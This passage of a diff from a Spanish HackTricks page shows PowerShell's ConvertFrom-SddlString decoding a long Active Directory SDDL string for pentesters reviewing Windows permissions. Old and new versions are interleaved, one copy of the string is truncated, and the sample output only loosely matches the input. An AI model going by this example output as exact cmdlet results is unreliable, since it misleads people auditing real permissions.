y comprender para los pentesters. - -Afortunadamente, PowerShell proporciona una forma sencilla de convertir una cadena SDDL en un formato legible. El cmdlet `ConvertFrom-SddlString` se puede utilizar para realizar esta conversión. - -A continuación se muestra un ejemplo de cómo utilizar este cmdlet: - +## **Convertir la cadena SDDL a un formato legible** ```powershell -$sddl = "O:BAG:BAD:(A;;0x1;;;S-1-5-32-544)(A;;0x1;;;S-1-5-18)" -$securityDescriptor = ConvertFrom-SddlString -Sddl $sddl -$securityDescriptor +```markdown +PS C:\> ConvertFrom-SddlString "O:BAG:BAD:AI(D;;DC;;;WD)(OA;CI;CR;ab721a53-1e2f-11d0-9819-00aa0040529b;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CR;00299570-246d-11d0-a768-00aa006e0529;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;CCDCLC;c975c901-6cea-4b6f-8319-d67f45449506;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CIIO;CCDCLC;c975c901-6cea-4b6f-8319-d67f45449506;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;;CR;3e0f7e18-2c7a-4c10-ba82-4d926db99a3e;;S-1-5-21-3842939050-3880317879-2865463114-522)(OA;;CR;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-498)(OA;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;;CR;1131f6ad-9c07-11d1-f79f-00c04fc2dcd2;;DD)(OA;CI;CR;89e95b76-444d-4c62-991a-0facbeda640c;;S-1-5-21-3842939050-3880317879-2865463114-1164)(OA;CI;CR;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-1164)(OA;CI;CR;1131f6ad-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-1164)(OA;CI;CC;4828cc14-1437-45bc-9b07-ad6f015e5f28;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967a86-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967a9c-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967aa5-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967aba-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;5cb41ed0-0e4c-11d0-a286-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;RP;4c164200-20c0-11d0-a768-00aa006e0529;;S-1-5-21-3842939050-3880317879-2865463114-5181)(OA;CI;RP;b1b3a417-ec55-4191-b327-b72e33e38af2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;9a7ad945-ca53-11d1-bbd0-0080c76670c0;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;bf967a68-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;1f298a89-de98-47b8-b5cd-572ad53d267e;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;bf967991-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;5fd424a1-1262-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967a06-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967a06-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf967a0a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;3e74f60e-3e73-11d1-a9c0-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;3e74f60e-3e73-11d1-a9c0-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;b1b3a417-ec55-4191-b327-b72e33e38af2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;b1b3a417-ec55-4191-b327-b72e33e38af2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf96791a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf96791a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;9a9a021e-4a5b-11d1-a9c3-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;0296c120-40da-11d1-a9c0-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;934de926-b09e-11d2-aa06-00c04f8eedd8;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;5e353847-f36c-48be-a7f7-49685402503c;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;8d3bca50-1d7e-11d0-a081-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967953-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967953-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;e48d0154-bcf8-11d1-8702-00c04fb96050;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;275b2f54-982d-4dcd-b0ad-e53501445efb;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967954-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967954-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf967961-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967961-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf967a68-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;5fd42471-1262-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;5430e777-c3ea-4024-902e-dde192204669;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;6f606079-3a82-4c1b-8efb-dcc8c91d26fe;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967a7a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;bf967a7f-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;614aea82-abc6-4dd0-a148-d67a59c72816;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;66437984-c3c5-498f-b269-987819ef484b;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;77b5b886-944a-11d1-aebd-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;a8df7489-c5ea-11d1-bbcb-0080c76670c0;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;a8df7489-c5ea-11d1-bbcb-0080c76670c0;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;1f298a89-de98-47b8-b5cd-572ad53d267e;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;1f298a89-de98-47b8-b5cd-572ad53d267e;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;f0f8ff9a-1191-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;f0f8ff9a-1191-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;f0f8ff9a-1191-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;2cc06e9d-6f7e-426a-8825-0215de176e11;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;5fd424a1-1262-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;5fd424a1-1262-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;3263e3b8-fd6b-4c60-87f2-34bdaa9d69eb;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;28630ebc-41d5-11d1-a9c1-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;28630ebc-41d5-11d1-a9c1-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf9679c0-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;3e0abfd0-126a-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;7cb4c7d3-8787-42b0-b438-3c5d479ad31e;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RPWP;5b47d60f-6090-40b2-9f37-2a4de88f3063;;S-1-5-21-3842939050-3880317879-2865463114-526)(OA;CI;RPWP;5b47d60f-6090-40b2-9f37-2a4de88f3063;;S-1-5-21-384 ``` - -Este código tomará la cadena SDDL proporcionada y la convertirá en un objeto de descriptor de seguridad legible. El resultado se mostrará en la consola de PowerShell. - -La salida del ejemplo anterior se verá así: - +Propietario : BUILTIN\Administradores +Grupo : BUILTIN\Administradores +DiscretionaryAcl : {Todos: AccesoDenegado (WriteData), Todos: AccesoPermitido (WriteExtendedAttributes), NT +AUTHORITY\ANONYMOUS LOGON: AccesoPermitido (CreateDirectories, GenericExecute, ReadPermissions, +Traverse, WriteExtendedAttributes), NT AUTHORITY\ENTERPRISE DOMAIN CONTROLLERS: AccesoPermitido +(CreateDirectories, GenericExecute, GenericRead, ReadAttributes, ReadPermissions, +WriteExtendedAttributes)...} +SystemAcl : {Todos: SystemAudit AccesoExitoso (ChangePermissions, TakeOwnership, Traverse), +BUILTIN\Administradores: SystemAudit AccesoExitoso (WriteAttributes), DOMAIN_NAME\Domain Users: +SystemAudit AccesoExitoso (WriteAttributes), Todos: SystemAudit AccesoExitoso +(Traverse)...} +RawDescriptor : System.Security.AccessControl.CommonSecurityDescriptor ``` -Owner : BUILTIN\Administrators -Group : BUILTIN\Administrators -AccessRules : {NT AUTHORITY\SYSTEM, BUILTIN\Administrators} -AuditRules : {} -``` - -Como se puede ver, la cadena SDDL se ha convertido en un formato legible que muestra el propietario, el grupo y las reglas de acceso del objeto. - -Esta técnica puede ser útil para los pentesters al analizar los permisos y configuraciones de seguridad en un entorno de Windows. -```powershell - -PS C:\> ConvertFrom-SddlString "O:BAG:BAD:AI(D;;DC;;;WD)(OA;CI;CR;ab721a53-1e2f-11d0-9819-00aa0040529b;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CR;00299570-246d-11d0-a768-00aa006e0529;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;CCDCLC;c975c901-6cea-4b6f-8319-d67f45449506;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CIIO;CCDCLC;c975c901-6cea-4b6f-8319-d67f45449506;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;;CR;3e0f7e18-2c7a-4c10-ba82-4d926db99a3e;;S-1-5-21-3842939050-3880317879-2865463114-522)(OA;;CR;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-498)(OA;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;;CR;1131f6ad-9c07-11d1-f79f-00c04fc2dcd2;;DD)(OA;CI;CR;89e95b76-444d-4c62-991a-0facbeda640c;;S-1-5-21-3842939050-3880317879-2865463114-1164)(OA;CI;CR;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-1164)(OA;CI;CR;1131f6ad-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-1164)(OA;CI;CC;4828cc14-1437-45bc-9b07-ad6f015e5f28;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967a86-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967a9c-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967aa5-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967aba-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;5cb41ed0-0e4c-11d0-a286-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;RP;4c164200-20c0-11d0-a768-00aa006e0529;;S-1-5-21-3842939050-3880317879-2865463114-5181)(OA;CI;RP;b1b3a417-ec55-4191-b327-b72e33e38af2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;9a7ad945-ca53-11d1-bbd0-0080c76670c0;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;bf967a68-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;1f298a89-de98-47b8-b5cd-572ad53d267e;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;bf967991-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;5fd424a1-1262-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967a06-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967a06-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf967a0a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;3e74f60e-3e73-11d1-a9c0-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;3e74f60e-3e73-11d1-a9c0-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;b1b3a417-ec55-4191-b327-b72e33e38af2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;b1b3a417-ec55-4191-b327-b72e33e38af2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf96791a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf96791a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;9a9a021e-4a5b-11d1-a9c3-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;0296c120-40da-11d1-a9c0-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;934de926-b09e-11d2-aa06-00c04f8eedd8;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;5e353847-f36c-48be-a7f7-49685402503c;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;8d3bca50-1d7e-11d0-a081-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967953-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967953-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;e48d0154-bcf8-11d1-8702-00c04fb96050;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;275b2f54-982d-4dcd-b0ad-e53501445efb;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967954-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967954-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf967961-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967961-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf967a68-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;5fd42471-1262-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;5430e777-c3ea-4024-902e-dde192204669;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;6f606079-3a82-4c1b-8efb-dcc8c91d26fe;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967a7a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;bf967a7f-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;614aea82-abc6-4dd0-a148-d67a59c72816;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;66437984-c3c5-498f-b269-987819ef484b;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;77b5b886-944a-11d1-aebd-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;a8df7489-c5ea-11d1-bbcb-0080c76670c0;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;a8df7489-c5ea-11d1-bbcb-0080c76670c0;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;1f298a89-de98-47b8-b5cd-572ad53d267e;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;1f298a89-de98-47b8-b5cd-572ad53d267e;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;f0f8ff9a-1191-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;f0f8ff9a-1191-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;f0f8ff9a-1191-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;2cc06e9d-6f7e-426a-8825-0215de176e11;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;5fd424a1-1262-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;5fd424a1-1262-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;3263e3b8-fd6b-4c60-87f2-34bdaa9d69eb;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;28630ebc-41d5-11d1-a9c1-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;28630ebc-41d5-11d1-a9c1-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf9679c0-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;3e0abfd0-126a-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;7cb4c7d3-8787-42b0-b438-3c5d479ad31e;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RPWP;5b47d60f-6090-40b2-9f37-2a4de88f3063;;S-1-5-21-3842939050-3880317879-2865463114-526)(OA;CI;RPWP;5b47d60f-6090-40b2-9f37-2a4de88f3063;;S-1-5-21-3842939050-3880317879-2865463114-527)(OA;CI;DTWD;;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;DTWD;;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CCDCLCRPWPLO;f0f8ffac-1191-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;CCDCLCRPWPLO;e8b2aff2-59a7-4eac-9a70-819adef701dd;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;CCDCLCSWRPWPDTLOCRSDRCWDWO;018849b0-a981-11d2-a9ff-00c04f8eedd8;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;CCDCLCSWRPWPDTLOCRSDRCWDWO;018849b0-a981-11d2-a9ff-00c04f8eedd8;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CIIO;SD;;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;bf967a86-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;bf967a9c-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;bf967aa5-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;5cb41ed0-0e4c-11d0-a286-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;WD;;bf967a9c-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CIIO;SW;9b026da6-0d3c-465c-8bee-5199d7165cba;bf967a86-0de6-11d0-a285-00aa003049e2;CO)(OA;CIIO;SW;9b026da6-0d3c-465c-8bee-5199d7165cba;bf967a86-0de6-11d0-a285-00aa003049e2;PS)(OA;CIIO;RP;b7c69e6d-2cc7-11d2-854e-00a0c983f608;bf967a86-0de6-11d0-a285-00aa003049e2;ED)(OA;CIIO;RP;b7c69e6d-2cc7-11d2-854e-00a0c983f608;bf967a9c-0de6-11d0-a285-00aa003049e2;ED)(OA;CIIO;RP;b7c69e6d-2cc7-11d2-854e-00a0c983f608;bf967aba-0de6-11d0-a285-00aa003049e2;ED)(OA;CIIO;WP;ea1b7b93-5e48-46d5-bc6c-4df4fda78a35;bf967a86-0de6-11d0-a285-00aa003049e2;PS)(OA;CIIO;CCDCLCSWRPWPDTLOCRSDRCWDWO;;c975c901-6cea-4b6f-8319-d67f45449506;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CIIO;CCDCLCSWRPWPDTLOCRSDRCWDWO;;f0f8ffac-1191-11d0-a060-00aa006c33ed;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CINPIO;RPWPLOSD;;e8b2aff2-59a7-4eac-9a70-819adef701dd;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;;CR;89e95b76-444d-4c62-991a-0facbeda640c;;BA)(OA;;CR;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;1131f6ac-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;1131f6ad-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;1131f6ae-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;e2a36dc9-ae17-47c3-b58b-be34c55ba633;;S-1-5-32-557)(OA;CIIO;LCRPLORC;;4828cc14-1437-45bc-9b07-ad6f015e5f28;RU)(OA;CIIO;LCRPLORC;;bf967a9c-0de6-11d0-a285-00aa003049e2;RU)(OA;CIIO;LCRPLORC;;bf967aba-0de6-11d0-a285-00aa003049e2;RU)(OA;;CR;05c74c5e-4deb-43b4-bd9f-86664c2a7fd5;;AU)(OA;;CR;89e95b76-444d-4c62-991a-0facbeda640c;;ED)(OA;;CR;ccc2dc7d-a6ad-4a7a-8846-c04e3cc53501;;AU)(OA;;CR;280f369c-67c7-438e-ae98-1d46f3c6f541;;AU)(OA;;CR;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;ED)(OA;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;;ED)(OA;;CR;1131f6ac-9c07-11d1-f79f-00c04fc2dcd2;;ED)(OA;;CR;1131f6ae-9c07-11d1-f79f-00c04fc2dcd2;;ED)(OA;CI;RP;b1b3a417-ec55-4191-b327-b72e33e38af2;;NS)(OA;CI;RP;1f298a89-de98-47b8-b5cd-572ad53d267e;;AU)(OA;CI;RPWP;3f78c3e5-f79a-46bd-a0b8-9d18116ddc79;;PS)(OA;CIIO;RPWPCR;91e647de-d96f-4b70-9557-d63ff4f3ccd8;;PS)(A;;CCLCSWRPWPLOCRRCWDWO;;;DA)(A;CI;LCSWRPWPRC;;;S-1-5-21-3842939050-3880317879-2865463114-5213)(A;CI;LCRPLORC;;;S-1-5-21-3842939050-3880317879-2865463114-5172)(A;CI;LCRPLORC;;;S-1-5-21-3842939050-3880317879-2865463114-5187)(A;CI;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3842939050-3880317879-2865463114-519)(A;;RPRC;;;RU)(A;CI;LC;;;RU)(A;CI;CCLCSWRPWPLOCRSDRCWDWO;;;BA)(A;;RP;;;WD)(A;;LCRPLORC;;;ED)(A;;LCRPLORC;;;AU)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SY)(A;CI;LCRPWPRC;;;AN)S:(OU;CISA;WP;f30e3bbe-9ff0-11d1-b603-0000f80367c1;bf967aa5-0de6-11d0-a285-00aa003049e2;WD)(OU;CISA;WP;f30e3bbf-9ff0-11d1-b603-0000f80367c1;bf967aa5-0de6-11d0-a285-00aa003049e2;WD)(AU;SA;CR;;;DU)(AU;SA;CR;;;BA)(AU;SA;WPWDWO;;;WD)" -Propietario: BUILTIN\Administradores -Grupo: BUILTIN\Administradores -DiscretionaryAcl: {Everyone: AccesoDenegado (WriteData), Everyone: AccesoPermitido (WriteExtendedAttributes), NT AUTHORITY\ANONYMOUS LOGON: AccesoPermitido (CreateDirectories, GenericExecute, ReadPermissions, Traverse, WriteExtendedAttributes), NT AUTHORITY\ENTERPRISE DOMAIN CONTROLLERS: AccesoPermitido (CreateDirectories, GenericExecute, GenericRead, ReadAttributes, ReadPermissions, WriteExtendedAttributes)...} -SystemAcl: {Everyone: AuditoríaDelSistema AccesoExitoso (ChangePermissions, TakeOwnership, Traverse), BUILTIN\Administradores: AuditoríaDelSistema AccesoExitoso (WriteAttributes), DOMAIN_NAME\Usuarios del dominio: AuditoríaDelSistema AccesoExitoso (WriteAttributes), Everyone: AuditoríaDelSistema AccesoExitoso (Traverse)...} -RawDescriptor: System.Security.AccessControl.CommonSecurityDescriptor
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! -* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) -* Obtén el [**merchandising oficial de PEASS y HackTricks**](https://peass.creator-spring.com) -* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver a tu **empresa anunciada en HackTricks**? o ¿quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! +* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos +* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) +* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Comparte tus trucos de hacking enviando PRs al** [**repositorio de 